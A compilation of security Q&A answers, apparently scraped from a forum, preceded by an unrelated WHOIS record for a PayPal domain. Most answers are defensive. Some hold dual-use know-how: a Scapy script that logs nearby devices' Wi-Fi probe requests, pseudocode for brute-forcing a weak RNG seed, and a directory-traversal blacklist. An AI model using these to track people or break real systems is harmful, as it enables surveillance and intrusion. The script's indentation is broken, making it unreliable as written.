Registry Domain ID:
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2013-12-23T04:01:12-0800
Creation Date: 2013-10-23T16:12:23-0700
Registrar Registration Expiration Date: 2015-10-23T16:12:24-0700
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.2083895740
Domain Status: clientUpdateProhibited
Domain Status: clientTransferProhibited
Domain Status: clientDeleteProhibited
Registry Registrant ID:
Registrant Name: Host Master
Registrant Organization: PayPal Inc.
Registrant Street: 2065 Hamilton Avenue,
Registrant City: San Jose
Registrant State/Province: CA
Registrant Postal Code: 95125
Registrant Country: US
Registrant Phone: +1.4083767400
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email:
Registry Admin ID:
Admin Name: Domain Administrator
Admin Organization: eBay Inc.
Admin Street: 2145 Hamilton Avenue
Admin City: San Jose
Admin State/Province: CA
Admin Postal Code: 95125
Admin Country: US
Admin Phone: +1.4083767400
Admin Phone Ext:
Admin Fax: +1.4083767514
Admin Fax Ext:
Admin Email:
Registry Tech ID:
Tech Name: Host Master
Tech Organization: PayPal Inc.
Tech Street: 2211 North First Street
Tech City: San Jose
Tech State/Province: CA
Tech Postal Code: 95131
Tech Country: US
Tech Phone: +1.4083767400
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email:


nsCertType is an old Netscape-specific extension, which was used by the Netscape browser at a time when that browser was still alive. You can forget it nowadays.

The signing CA, by principle, acts in any way as it sees fit. It can put whatever it wishes in your certificate. Your certificate request is just a suggestion. You can more or less count on the CA to take the public key from your request and use that public key in the certificate; for everything less (including name, key usages and other extensions) this is completely up to the CA to decide. Microsoft's Certificate Services uses "certificate templates" for its configuration, and the templates decide what goes in the certificates. According to my own tests, the key usage and extended key usages which you put in the certificate will be completely ignored.

What extensions are needed for client authentication, and/or for server authentication, depends on the involved software. You will find some information in my past prose, e.g. this, this and that.


Stopping js malware injection on our Wordpress site

The difficulty with these sort of code injections is that if you are using a hosted service provider is it possible for the infections to spread between the various clients hosted.  It may not be your actual installation of WordPress that is the problem.

Another thing you can ensure is that all of your plugins and your WP is up to date.  Following the hardening procedures are another thing to help with that.

I also recommend installing the  WP BulletProof Security plugin.


BufferOverFlow - How come ESP points to the end of the payload

The stack pointer (ESP on x86) moves up and down as the stack grows and shrinks. While you are correct that it likely should point to the beginning of your payload at time of overflow, it is possible that the stack is shrunk by the time you observe ESP pointing to your C's.
Specifically, during the function prologue (or leave instruction) before returning, the saved stack pointer from the previous frame is popped into ESP. It is likely that the tail of your payload overwrote this saved value and could explain what you are seeing if you are debugging at return-time.


How can I re-use my password and still protect the password if it is exposed from one source?

You are trying to solve a problem that you shouldn't have in the first place: Password Reuse

The concept is simple. You think of a "good" password and use that for everything. Your bank account, online shopping, your e-Mail provider, etc.

The problem is, if it gets leaked by any one of them, then all of the other accounts are potentially in danger. This is a completely unnecessary risk!

What about my suggested scheme?

You yourself said don't re-invent the wheel. If you were to actually do that, you would either have to write an application that calculates the hashes for you, or calculate them yourself and store them.

There are already applications that solve the problem of credential storage, and they do a way better job at it: Offline Password Managers

Why are Offline Password Managers better?

Because they generate truly random and unique passwords. There is no need to bring cryptography into this. No need to tie my password for my e-Mail account to it somehow containing the string "gmail.com".

Because SN2\ZJ2Cw92DQx^{$OmqAC_P'xR|Md)[ is definitely a better password than the MD5 sum of hunter2+gmail.com (it's 01f9a94a0febf268495d08f5960e7f05, in case you were wondering).


Iterate through and decode Dot11Elt layers -- Scapy

Here you go buddy. you can have whatever you want

 from netaddr.core import NotRegisteredError
 from netaddr import *
 from scapy.all import *
 import logging
 import logging.handlers

 PROBE_REQUEST_TYPE=0
 PROBE_REQUEST_SUBTYPE=4

 WHITELIST =   ['18:dc:56:f0:40:40','34:a3:95:b1:2b:d9','48:13:7e:57:ae:b6','98:0c:a5:17:7d:2d']
 my_logger = logging.getLogger('agentlogger')
 handler = logging.handlers.RotatingFileHandler('tplink3022.log',    mode='a', maxBytes=1048576, backupCount=10, encoding=None, delay=0)
my_logger.addHandler(handler)

def PacketHandler(pkt):
if pkt.haslayer(Dot11):

    if pkt.type==PROBE_REQUEST_TYPE and pkt.subtype ==      PROBE_REQUEST_SUBTYPE:
        PrintPacket(pkt)
def mac_info(mac):
    global macf
    maco = EUI(mac)
    try:
        macf = maco.oui.registration().org
    except NotRegisteredError:
        macf = "Not available"
    return macf
def PrintPacket(pkt):
    print "Probe Request Captured:"
    try:
        extra = pkt.notdecoded
    except:
        extra = None
    if extra!=None:
        signal_strength = -(256-ord(extra[-4:-3]))
    else:
        signal_strength = -100
        print "No signal strength found"
    mac_info(pkt.addr2)
    print "Time: %s   Source: %s SSID: %s MANF: %s RSSi: %d"%(pkt.time,pkt.addr2,pkt.getlayer(Dot11ProbeReq).info,macf,signal_strength)

    str = "%s,%s,%s,%s,%d\n"%(pkt.time,pkt.addr2,pkt.getlayer(Dot11ProbeReq).info,macf,signal_strength)
WriteToFile(str)

def WriteToFile(str):
    my_logger.warn(str)

def main():
    from datetime import datetime
    print "[%s] Starting scan"%datetime.now()
    print "Scanning :"
    try:
        sniff(iface=sys.argv[1],prn=PacketHandler,count=0,store=0)
    except:
          print'[!] Eroor : Failed to initialize sniffing'

if __name__=="__main__":
    main()`


can the value of request.getHeader("Host") be faked?

Not really.

request.getHeader() is a function that runs on the server and pulls information (in this case host) from the client's request header and places the string in the html it is fashioning.  The line of code you have provided is just a convenience (and good coding practice) that makes it so the developer does not have to change the server code if they move the app from say test.company.com to www.company.com.

However, for pen testing, I would recommend you look out for calls to request.getHeader() that make an access control decision based on on the result.  For example, if the sensitive.company.com page checked that request.getHeader("referer") equaled internal.company.com before allowing the client, this would be exploitable because the client can place whatever it wants in that field.

EDIT:
I would add the points made about DNS resolution and vhosts that are made in the answer to your other question Is Request.getHeader("host") vulnerable?.  If the 'host' was attacker.com, the request would have gone to attacker.com in the first place.


How to get shodan to report IP addresses with a specific open port?

Founder of Shodan here: we crawl a few thousand ports but as you noticed 55555 isn't on that list. The search syntax for what you're trying to do is:

port:55555

Which means in the CLI you would enter:

shodan search port:55555

Or to get a count of how many are open:

shodan count port:55555

For more information about the search syntax please visit:

https://help.shodan.io/the-basics/search-query-fundamentals

If you search for simply "55555" then you are searching for banners where the main data property contains the string "55555". To search in the contents of other properties (ex: port) you need to use a search filter. A list of them is available on the developer website. Check out the /shodan/host/search method:

https://developer.shodan.io/api


Deanonymizing Tor circuit by having access to all the circuit's relays

Yes, if you've got a complete view of the network, you can de-anonymize TOR circuits: as the circuit is built up, the nodes build their connections one after another.  This is the most favorable condition for performing a timing attack on the network, and works regardless of the length of the circuit or how often it changes.

This is also by far the hardest to pull off in the real world: the typical TOR circuit passes through multiple countries, whose intelligence and police agencies don't cooperate with each other.  I'm having trouble picturing the FBI and the FSB working together to track down a German drug dealer selling to a client in China.


How is secure for OTP implementation to use pages smaller than the payload?

This is a really, really, really bad idea.  First off, this is not a one-time pad, as you're using the same pad to encrypt multiple blocks of data.  This is exactly the same as sending multiple messages separately encrypted with the same pad.

There are multiple trivial attacks against this scheme:

If you have any known plaintext, the attacker can xor bytes of the known plaintext against the ciphertext and recover bytes of your pad.  Then they can move to each position where that pad byte is reused (i.e., +/- len(page)), xor the pad byte, and recover more plaintext.
Frequency analysis at each position is potentially trivial.
Since the value of each pad byte only affects the matching output bytes, brute force attacks are possible against each byte separately (though it will be harder to know which value is correct, it will still be possible).


Rory, one method of getting information of this nature from your device is to use binary instrumentation in order to read what the app's functions are seeing.

Frida is a toolkit that will help do this for you. See here for more information: https://www.notsosecure.com/pentesting-android-apps-using-frida/. It works by decompiling, adding gadgets to and then recompiling the binary in order to allow you to see what's happening inside the functions or to rewrite them altogether.

Drozer is another toolkit (unrelated) that can help you look at an app from the perspective of another app. See here: https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref. It's useful for when you're pentesting android databases, it can be used to query the db directly using the app's exported functions sometimes.

I don't know if this pertains to your question but I thought I should note it. Analyzing encrypted data without violating the confidentiality of that data is difficult. The only way I can think of a computationally secure way to do this would to use a TEE to decrypt and analyze the data, send the analysis to userspace, re-encrypt the data in the TEE and wipe memory. That way all computations on the secure data are done in an isolated processor space that is cryptographically secure as opposed to decrypting in userspace where malware will have a chance to access the data. Does this help?


Obviously, preventing access by an attacker to the stored hashes is preferable. Hashes are the next line of defense after access denial fails; when the attacker dumps your database, he has to run a dictionary attack on the hash to discover the plaintext.
What salts prevent is the use of a pre-compiled "dictionary", aka a "rainbow table". Without a salt, or with a universally-constant salt (same thing), any and all previous efforts to compute hashes can be re-used by remembering and storing the message and its hash, then simply searching for a matching hash. However, with a unique, random salt for each hash value, now no work can be reused; the message has to include that specific salt value, and it's extremely unlikely that an attacker would find a working message in a rainbow table.

Yes, the attacker can get the salt. It's technically "public" information, because it must be available to any machine attempting to verify a hash. As Xander said it's usually either stored in a different column of the same database, or its prepended as a number of character-encoded bytes onto the hash digest itself.


Moving the password to memory does raise the cost to the attacker, but not by a lot - and in exchange, the server process does indeed become more fragile (requiring human presence to restart), which (as you pointed out) may adversely impact SLAs.

The general rule is that if a legitimate process has access the information, so does the threat actor (if they gain access to the legitimate process's environment). Any API that is implemented in this way requires the plaintext password.

It may take some work to educate your client to understand this.

(That's the basic answer to your explicit question. Here is some additional information about the larger problem you are trying to solve:)

Another mitigation might be to store some of the material in an HSM. If implemented properly, this would make it even harder to access. But even then, if the server is compromised, an attacker could write additional code to intercept the password as it is being sent to the API.

Another option is to move the password to a more secure proxy server. If you don't have the ability to lock down the current server, but you could create another server that you could make significantly more secure, then you could use that server as a proxy, and store the password there. This increases complexity, but might be worth the tradeoff if the proxy server can be more hardened. That proxy server could also be used to monitor the transactions for unusual activity, and block any that do not meet certain criteria.

You could also work with the API provider to limit where the activity is coming from to specific IP addresses (so that the threat actor cannot just steal the password and then use it from anywhere).

If the server side supported it, you could also use public-key encryption to protect the password, or a client SSL certificate to control who can connect via TLS.

And in general, you should be using HTTPS for the connection, and using POST instead of GET to prevent the password from showing up in URLs in logs, etc. This will help protect the password in flight outside of the server.

But in all of these scenarios, the password must be used in plain text - and will always be vulnerable to interception at some step in the workflow.


Is the Linux / Debian software and package-management ecosystem secure?

It isn't. The threat model attempts to be resistant to external attack, but if all it takes is a malicious line in a build script on a package used on most systems (e.g. libc, x11, etc.) then all they need to do is compromise one build machine to gain near-universal control.

Attempting to protect against this is hard, and the only way to do it is to build on lots of machines and diff the outputs (which isn't always feasible due to the entropy involved in minute package version changes across build systems). This isn't cost or time effective for open source, so it isn't done.

Realistically, if your adversary is a nation state and they actually give a crap about getting at your stuff, you're likely not going to win that fight unless you're also a nation state with a capable security budget and a big helping of luck.

As James Mickens said in his brilliant paper "This World of Ours":

  If your adversary is not-Mossad, then you’ll probably be fine if you pick a good password and don’t respond to emails from ChEaPestPAiNPi11s@virus-basket.biz.ru. If your adversary is the Mossad, YOU’RE GONNA DIE AND THERE’S NOTHING THAT YOU CAN DO ABOUT IT.

  The Mossad is not intimidated by the fact that you employ https://. If the Mossad wants your data, they’re going to use a drone to replace your cellphone with a piece of uranium that’s shaped like a cellphone, and when you die of tumors filled with tumors, they’re going to hold a press conference and say “It wasn't us” as they wear t-shirts that say “IT WAS DEFINITELY US,” and then they’re going to buy all of your stuff at your estate sale so that they can directly look at the photos of your vacation instead of reading your insipid emails about them.

TL;DR - Including nation states in your threat model is essentially equivalent to including wizards in your threat model: nobody really understands what they're capable of, and nobody really has any reasonable capability of defending against them.


Does it weaken the encryption of SSH to use compression?

Compression before encryption is a problem if the attacker can control parts of the transferred data and then use the detectable compression ratio (i.e. amount of transferred data vs. original data) to make conclusions about some of the traffic. This was in TLS used within BREACH and CRIME attacks to infer cookies and CSRF tokens. Making such attacks work requires the attacker to trigger repeated transmission of mostly the same data where the only difference is the attacker controlled part. This is feasible in several use cases of HTTPS.

While one might in theory use SSH in a similar scenario the common use case of SSH is not like this, i.e. the attacker has no control over parts of the input and can also not trigger sending nearly the same data again and again. In the common use cases of SSH compression before encryption is thus not a problem.


The following is all hypothetical:

First off you should NEVER sign a SLA in this case, or guarantee any uptime whatsoever. (you are delivering a website, not the service to host that)

Secondly, a hosting company should be used who can defend against a DoS attack in some way. (be aware of SLA's and their limitations)

You need to think of yourself in the same way a plumber does. The plumber is not responsible for your water service, just for leaks and work on the pipes. A DDoS would be like an over pressure on the water lines (like a 1000 times more than they are designed for) and the fact that the pipes break then is not the plumber's fault but the water company's. All the plumber can do is fix it after the water has been turned off.


How to get result from airdump-ng on Ubuntu 18.04 LTS?

Bought an Alfa AWUS036NHA network-card and it works like magic. Apparently my internal network card wasn't compatible or something.


How insecure are non-cryptographic random number generators?

It generally depends on the implementation. For the mostpart, you're going to be looking at Linear Congruence Generators, or Linear Feedback Shift Registers.

A common problem with these types of generators is that their period is generally quite short, and that their mathematical form implies deterministic generation. As such, you can (generally) break them in a few hundred calls or less. Sequential results do make breaking the algorithm easier, since you can make stronger correlations that way, but they're not necessary.

The largest flaw with "novel" generators is that the seed is insufficiently large. For example, if you have a generator with a 32-bit seed and know the first 20 values of the generator, it's trivial to brute force. Just generate a sequence for each seed from 0 to 2^32, and compare it. You can employ early-out optimisation to massively reduce the computational cost of this.

Pseudo code:

// the known values from the generator
byte[] knownValues = { 9, 55, 201, 50, 41, 111, 67, 44, 122, 66 };

for(seed = 0 to 2^32)
{
    srand(seed);

    bool found = true;
    for(n = 0 to len(knownValues))
    {
        if(rand() != knownValues[n])
        {
            found = false;
            break;
        }
    }

    if(found == true)
    {
        print "Found potential seed: " + seed + "\n";
    }
}

With a reasonably fast RNG and some decent hardware, this definitely becomes a plausible attack.

I recommend you read through the following for a thorough explanation:

Random Number Generator Designs - Andreas Zeller, Stephan Neuhaus [pdf]
Randomness in Cryptography - Erik Sonnleitner [pdf]
Applied Cryptography - Bruce Schneier


Typically, SSH clients will keep track of the fingerprint of the public key that they saw the first time you connect to the machine. In fact, often the first time you connect to a machine over SSH, the client will show you the fingerprint and ask you to validate that it is correct.

This validation should take place out of band. In other words, the system administrator should give you the correct fingerprint in a secure manner. Then you can compare the fingerprint the server is presenting you with and the known good fingerprint.

On subsequent connections, as long as the presented public key from the server has the same fingerprint, most SSH clients will accept it and let the connection proceed. On the other hand, if the fingerprint has changed, the SSH clients I've used will actually deny the connection, tell you that the fingerprint has changed and that you may be the victim of an attack.

If, you do not verify the initial fingerprint properly, and someone is actively attacking you on that first connection, they will be able to spoof the connection and possibly steal credentials (depending on the authentication mechanism being used).


Can a company using GlobalProtect see the websites I'm visiting?

GlobalProtect is a lot more than just a VPN service. As such, without knowing how it has been configured, it isn't really possible to answer your question properly.

For example, since GP is able to enforce "profiles" on your PC to allow you to connect to work resources, it is entirely possible that it could enforce the use of monitoring software which could indeed track usage. I don't say that this is likely, I doubt it, but it is possible.

In addition, the answer you've given yourself certainly isn't proof. One thing that a VPN could do is called "Split Tunnelling" where some traffic may be forced to go through the VPN and some not. Of course most VPN services, when the VPN is active, will apply forced routing of most if not all traffic through the VPN at which point you may well see a different route.

You should check your browsers network settings to see if, when the VPN is turned on, you have a proxy set up to use. This again is not total proof but is a common configuration for corporate VPN's.

The other thing that can happen - and I don't know the GP product so I can't say for sure whether it can/does do this - is that a product like this can create secure "bubbles" on your PC. In that case, it is common for applications, data and network traffic for work to be wrapped up by the application and kept separate from everything else on your PC. You would normally be told this when first being set up to use the application as it is important to understand how things are kept apart. If this were the case, then your normal browsing would remain private even when the VPN is on.

As to legality. You should have been asked to sign up to some terms and conditions, possibly part of the Acceptable Use Policy. This should say what the impact is of using the VPN service with personal equipment. If not, you should request this information from your organisation as soon as possible. Organisations leave themselves open to some serious legal issues if they haven't made these things very clear.


How secure can you be on an untrusted machine?

First of all, I would point out that one-time-password is not a replacement for your password, it is a supplementary security feature, in addition to your password.

Second, but most important. You have forgotten that you are using a non-trusted computer. Take the following scenario, you go to Wikipedia and sign in, with your password and one-time-password. The attacker steals your cookies from the computer while you are browsing (remember he has total control over the computer you are using). He then uses the cookie to get access to your account on his computer.

To prevent you from logging out from wiki, he then adds a script to your browser, so when you press logout, it doesn't actually logout, instead it just seems like it.

Wikipedia is a good example sinces it uses end-to-end TLS encryption, there are many more and worse examples, specially in cases where the data is transmitted in cleartext. In such cases, the attacker has also the ability to control your network traffic.

Lets take an example: You sign in to example.com with your password and one-time-password. The attacker (who is in the middle) stops the data packet that contains one-time-password and uses it to sign in on his computer. But he also sends a random one-time-password to the server, so you get an error and have to ask for a new one-time-password.


Disclosure in potential loss-of-life situations, with an uncooperative vendor

Okay you have two problems here:

if things go bad, they will result in the loss of life
if you make this public you are a whistleblower (this might have an effect on your career)

Disclosing to the public can be dangerous and should only be used as a last resort. Some other options you might want to think of first:

go to the N+1 if the vendor is part of a larger entity you can try to send a very clear message that one of their smaller entities is threatening the image of the whole company (because this is what companies fear, but never do this: FIX IT OR I'LL DISCLOSE IT, not directly anyway, because that's blackmail)
go to a governmental institution, here in Belgium we have CERT, which is the Cyber Emergency Response Team. You can report to them anonymously and they will try to contact the entity. If that fails they are also still in contact with the Federal Computer Crime Unit.

If this all fails disclose it maybe even anonymously (tell the company anonymously that the problem will be disclosed on date X, they will be forced to fix it by then, you will release it regardless if they fixed the issue or not). It's a death sentence for the vendor, but I personally prefer a few guys losing some money over a few people losing their lives because someone was being ignorant.

Anyway, this is my personal opinion.


Is there any security benefit to be connected over HTTPS if certificate isn't valid?

Generally speaking, you are corrct.  You are still connecting via HTTPS, as you surmised. Authentication, however, is indeed a critical part of TLS and HTTPS security. Even though the data is protected by TLS, without a valid and correct certificate, you can't be certain who you're actually talking to on the other end.  It may be a server for the site you expect. It's very hard to know, however, if in fact there may be a man-in-the-middle instead, decrypting and examining (and possibly tampering with) the traffic in the clear before re-encypting it to forward back and forth between you and the site you think you're talking to.

So while there is a certainly a possibility that an unauthenticated connection might still be secure, it's quite difficult to know, and in most cases a certificate errors is indeed going to be an indication that something is amiss with the connection.


According to this interesting technical paper Microsoft do indeed use Level 3 as one of their CDN partners.

As to why Microsoft use someone who also serves porn, they probably don't have a lot of choice. There aren't very many CDNs operating at that kind of level, and most of the customers for that sort of service are porn sites. According to this even more interesting report, YouPorn alone takes up 2% of the Internet's traffic. To Level 3 Microsoft are, relatively speaking, small fry.


Are there any OSes that verify program signatures before executing them?

iOS and Android both validates the signature of every single piece of code before loading them into memory.

Windows UWP apps are also all checked for signature before being loaded as well.

  Package signature verification is quite common with today's package managers. What I'm asking about is signature verification at loading time.

The difference is massive in terms of performances. A package signature is checked when it is installed and not afterward.

To be effective, code signing must be checked for every binary before it is executed or loaded.

Furthermore, special care must be taken by the OS (or runtime environment) in order to make sure a memory page marked as executable is signed (or, at least, that is has been loaded from something that was properly signed). That requirements is extremely hard to enforce on any environment that wasn't designed with code signing in mind because it tends to break a lot of legacy code.


Password storage in 1password and other similar password storing applications

In this case, the program will only store the plain text password in RAM (Random Access Memory). From this, it will then encrypt it, usually with AES, and write it to the permanent storage.

RAM memory is not permanent, as soon as the power of the computer goes out, the entire RAM is cleared. Meaning that even if it was not written over as soon as the power is out, it is completely gone.

It can also be assumed that the program will take steps to write over the RAM address with null data. But this might not be the case.


Is it secure if we purchase through a website that is loaded in iframe

No, as long as the CORS Access-Control-Allow-Origin is at its default restrictive value. This prevents the outer website from accessing the framed website via Javascript/etc.

CSRF attacks are still possible, though most sites protect themselves from this.

Note that you should be sure that the iframe is indeed on the correct domain (right click>view frame info on chrome) and is not being phished.


Macro injection in different Excel versions

Responsibly report your findings to the program's author, and they will do regression testing on all supported versions.  It's not your responsibility to do their testing for them.

Unfortunately, I don't think Microsoft's Bug Bounty program extends to their Office products.  But you never know; if you can produce an example exploit then it may become a security issue they're willing to pay for.


How do I Mitigate Directory Traversal when User-Supplied Input is a Mandatory Business Case?

chroot jails.  Each client should connect to a directory hierarchy that cannot be traversed to a) the system or b) other clients.
Input validation.  Yeah, you should blacklist things like ../, $, *, etc.  If you've got control over the API, you can do even better, such as test for directory existence before trying to pass it to cd.  As defensive programming goes, this isn't rocket science, so yeah there's a little drudgery, but it's the right thing to do.


Chromium Malware (possible) on my Linux Machine

Because Chromium is open source, you can verify that these log messages are pretty much normal. The association of their timing with financial-related strings are not.

The CheckAccessPermission log is coming from here: chromium/src/content/public/browser/web_contents_delegate.cc. If we follow up the call chain, we find MediaDevicesManager in media_devices_permission_checker.cc, where we can see that these functions are called when web or extension content is attempting to access your microphone or camera.

Because it seems like this could possibly be the fault of a poorly implemented extension, and also because Chrome extensions are the most likely culprit of fishy behavior by the browser, I recommend performing an audit of your extension list at chrome://extensions . Try disabling extensions one-by-one until the behavior goes away. Verify that this does not happen in an incognito / private window, which extensions are by default not allowed access to. (If any extensions are marked as "allow in incognito windows", uncheck that box before testing.)


Implementing password-reset in a web application by authtoken over email

In 1 Is this trigger protected from XSRF?
In 2 you're locking the user account for 4 hours? That's a DOS
In 6 you're using weak random generator. If someone discovers this he/she can generates authToeksn for anyone.
you never mentioned how are you encrypting usernames? Think about the ability of encrypting a username and injecting it into authToken This will lead to changing the password of that username in your system even if that username did not ask for new password to be set.
Also note that authToken is from client. The basic security rule is to never trust anything coming from client, so make sure you sanitize these tokens properly from sqli, slqi, etc.. This applies to the new-password as well!


For an HTTPS web application, is it worthwhile to encrypt the password before POSTing it, to keep a MITM attacker from harversting it?

This recommendation makes no sense:
The JavaScript code used to hash or encrypt the password has to be transferred to the client too. If the attacker is able to mount a man-in-the-middle attack he will be able to inspect the JavaScript code used for encryption too or might even replace it with something else (like no encryption).

Hashing instead of encryption makes even less sense, because this would only work if the server accepts the hashed password instead of the real password. In this case the attacker would not even need to know the password, he only needs to know the hash.

What might help would be client certificates because you cannot mount an SSL man-in-the-middle attack which preserves the client certificate (and a downgrade to plain HTTP would not send the certificate either). But, because you have to distribute the certificates to the clients first and make them install it inside the browser, this solution works only when you have few clients.

Apart from that: if the attacker is in the middle he might not need the password at all. All he needs is that the victim has logged in and then the attacker can take over the existing session.

It might also be useful to detect such a man-in-the-middle situation, so that you can inform the user and deny login from compromised networks. Some ideas to detect connection downgrades (that is http to attacker which than forwards it as https):

Check the method of the current location with JavaScript.
Create a secure cookie with JavaScript. It should only be send back if the site is served with https (that is no downgrade).
Include a script as HTTP which servers an image and check at the server side how the image was included. If it was included as HTTPS you can assume a HTTP downgrade attack because you've explicitly included it with HTTP. If it gets accessed with HTTP you have a downgrade attack too (but with a smarter attacker) or the browser does not care about mixed content.

And on how to detect man-in-the-middle with faked certificates:

Setup a second https site (with a different hostname) and construct an ajax request to this site in a way, which is not simple for the attacker to change to http (e.g. create URL dynamically). If the attacker just tries to MITM any site this ajax request will fail at least with some browsers, because the certificate is not trusted and the browser will only prompt the user for the primary certificates of a site.

Of course all of this only helps against an attacker which is not really determined to hack especially you, but just takes the easiest targets. In this case all you need to have to do is to be a bit harder to attack than the rest.


Which one to ask first in multi-factor authentication?

Don't know if there is some study about it, or if this question will be closed as opinion based, but:

In one online attack, you'll limit how much tries one can do for every x minutes, or even lock the account after x tries. So, a brute-force attack will have some limited impact. Anyway, a password probably will have more combinations than the code you'll send by SMS. In general, SMS sent codes have 4 characters, or 6 digits.

If someone is trying to brute-force and you send the SMS first:

if he has to guess the code, and the code is smaller than the password, it's easier to guess 6 digits than a good password.
if you send SMS for every attempt, the real user can get bored receiving so many codes that he didn't request, and there's little he can do about it (how to tell the site to stop accepting tries from the bad guy?)

If you ask for password first, you won't bother the real user until the account is locked by so many attempts. And after the account is locked, you can simple send the SMS stating "your account was locked due to x wrong attempts, to unlock it look at your email"

And perhaps sending SMS might cost you something, it can be less expensive sendig the SMS as a last step.


The error message discloses the full file path structure of this web app, and the versions of Apache, and your OS. That's a lot of info to hand an attacker.

The more specifics an attacker has, the more the attacker can custom-tailor their attacks. Best practise is to hide this information, but not to rely on secrecy as a means to protect yourself (security by obscurity). But blinding your attacker is better then handing him the blueprints to your server.

The standard "fix" for info disclosure in error messages is to create custom, generic error messages that do not include all this data.


Differences between compromised shared hosting and dedicated/virtual hosting

It's possible that the cause of the problem is not that the shared hosting server is compromised - but instead that you are using a wordpress plugin that is vulnerable to this type of attack.  See the link below for a list of wordpress plugins with known vulnerabilities.  Take note of those whose vulnerability type is 'arbitrary file upload':

https://firstsiteguide.com/tools/free-fsg/hacked-dangerous-vulnerable-wordpress-plugins/


This is old, but must...get...internet...points...

Maybe you're just referring to CSRF protection on the login page, but if you mean in general:

I'm still new to the CAS protocol, but my understanding is that the only time validation happens is at the beginning before you have a session id in the service application itself. Once this is generated, no more contact with the CAS server is needed and no service ticket is needed, so CAS's ST cannot protect you from CSRF attacks.

See:
https://apereo.github.io/cas/4.2.x/protocol/CAS-Protocol.html

I imagine the token you mention is the "ST" (service ticket) parameter. Again, new to this stuff, but it sounds to me like you shouldn't be able to use that more than once, so maybe that is/was a bug, or maybe the spec has changed:

https://apereo.github.io/cas/4.2.x/protocol/CAS-Protocol-Specification.html#311-service-ticket-properties

However, if you still have your session cookie, you don't need the ST, so maybe that was producing that behavior.


Is there a secure method of distributing keys to network-booted diskless nodes?

Fundamentally, to trust a computer, you need to verify that it knows something that only the computer you're expecting knows. This is how all certificates work: you assume that because they signed something with a key that only they could possibly know then it's actually the person you wanted to talk to.

The same applies for computers: the computer has to have something only it knows that you know that it knows to authenticate it. Using people an example, there are three factors of authentication (two of which are used for "two-factor authentication"): something you know, something you have, and something you are.

Something you know: This would be a [private] key stored on the disk. You've stated you don't want this, so this is a no-go. (For humans, this is a username/password authentication challenge).
Something you have: A USB PKI token/key could be used for authentication with the idea that you have physically plugged this key into the computer you want to trust. They key itself cannot be copied, but this is vulnerable to malware running iPXE in a virtual machine, giving it access to the token, but then intercepting all its memory-accesses and the like (but, then again, this is always a threat?).
Something you are: e.g. A MAC address or other unique ID. This, however, is easy to fake because if you know it than it can be copied. In humans, this is like DNA, a retina, or a fingerprint - something you are and cannot [reasonably] copy. Computers have this too, but it's much harder to prove this over a network without it degrading to something you know quickly.

To make this work, you really need to put a key on the computer (something you know) or put a PKI token into the computer (something you have).


How can Kazakhstan perform MITM attacks on all HTTPS traffic?

How does that work?

They seem use an In-the-middle SSL Bump proxy.

First, it works as a transparent proxy, meaning it will silently redirect all HTTPS traffic to SSL Bump proxy servers.
You have to install and accept the proxy's Certificate Authority cert to make this work.
Once done, each SSL connection is made from your host to the SSL Bump Proxy with an on-the-fly generated certificate reproducing real certificate properties. Have a look at   (And care about certificate issuer and start of validity timestamp)
Then, the proxy pretends to be the targeted website (Facebook) to receive your request,
it reproduces your request (pretending to be yourself) to the real website
It receives an answer from the real website.
Now, the proxy is able to store the request and/or answer if built to do so.
Then it forwards the answer to your browser.

Will that role be played by the ISPs?

Probably yes, but it could be located anywhere before the traffic leaves the country.

Would the MITM certificate be visible?

Yes, as these certificate are mostly generated on-the-fly, have a look at the "Validity Not before" (in this case approx 1 day before the request) and "Certificate Issuer" (in this case: No data instead of DigiCert Inc).

To check this, go to different websites and check each cert. If you always see the same Issuer, and for each site you reach you always see a Not before with the same interval from your 1st request...

Take some references: Google's issuer is Google Trust Services, Facebook uses DigiCert Inc and so on... Take your own references.

For a website you know well (ie you know if and when the SSL cert could be updated), you could use fingerprints to verify certificates.

What to do

Go to your browser's config/preference -> security -> show/manage SSL certificates  and delete/drop/untrust unwanted certificates (in this case, search for No data or KZ).

Of course, once this is deleted, you will not be able to reach the internet through this network!

You may try to use some VPN (public or private), but I don't know how other connections than HTTP(s) are treated. Even VPN over HTTP(s) may work until official proxies sysadmin will see your encrypted stream...

You could connect to the Internet in alternative ways (satellite, radio frequencies, private wires...).

Use alternative hardware and be careful about your activities while you're connected to this network.

About picture:

This picture was found at https://bugzilla.mozilla.org/show_bug.cgi?id=1567114 and edited to underline

In blue: At top, date of picture, I suppose near the connection and screenshot. On the right, the Not before which seems to exist just 24 hours before the screenshot. (I assume the whole picture was done some minutes after the last cert screenshot, which was done some seconds after the connection, but I'm not sure.)
In orange: the certificate issuer - on the left side, the real issuer and on the right side, there is No data which is more than suspect!
In red: this mark was already present before my edit - you could see KZ  instead of US, but this field could be faked too!

So ensuring the same Certificate Authority is not used on radically different domains is a good indication. (IE: If you see the same issuer when reaching Microsoft, as Google or Facebook, then there is something wrong!)


Does Windows Embedded OS supports Microsoft Bitlocker?

Bitlocker is a Windows Embedded Standard 7 feature included is a feature pack.  For details see http://msdn.microsoft.com/en-us/library/ff794262%28v=winembedded.60%29.aspx


Attack on authoritative DNS server with high TTLs

No, AFAIK. If your authoritative DNS server has been compromised, even DNSSEC won't help you. This attack vector can be mitigated by securing your authoritative DNS servers to prevent the compromise in the first place.


Can school administration see what I'm browsing on my personal computer at home?

If you're on your own network, it's not likely. The only way they would be able to do that is if they have some sort of management software installed to your computer. Without that, they won't be able to see anything.


Is it possible to store an android apk in SIM card and install it from there?

No. SIM card is generally very small (32kb ~ 64kb) and stores only TLV records, which is not really suited for apk (though technically it can still be possible to store it as a binary record, but is technically very challenging).

Factory reset restores an image which is stored in a system partition on the phone, so if the spyware has somehow been able to successfully corrupt the factory image, then it would again be restored on factory reset. However, such modification can be done only when your phone is rooted (has su binary) or when your bootloader is replaced by an infected bootloader (Most android phones have specific key sequence to be pressed in order to access bootloader, check xda forum for your phone model). Probably that is how malware is able to reinstate back on factory reset.


How to test dmarc in a closed environment?

For testing your DMARC for your own domain, there is no need to deploy in a test environment. It comes with a built-in pre-prod testing function.

Set your config to:
p=none pct=100 and set up the reporting emails to review for a month. This has 0 impact on the receipt of emails from your domain, but you get error reports.

Then, once you have fixed the various issues:
p=quarantine pct=10

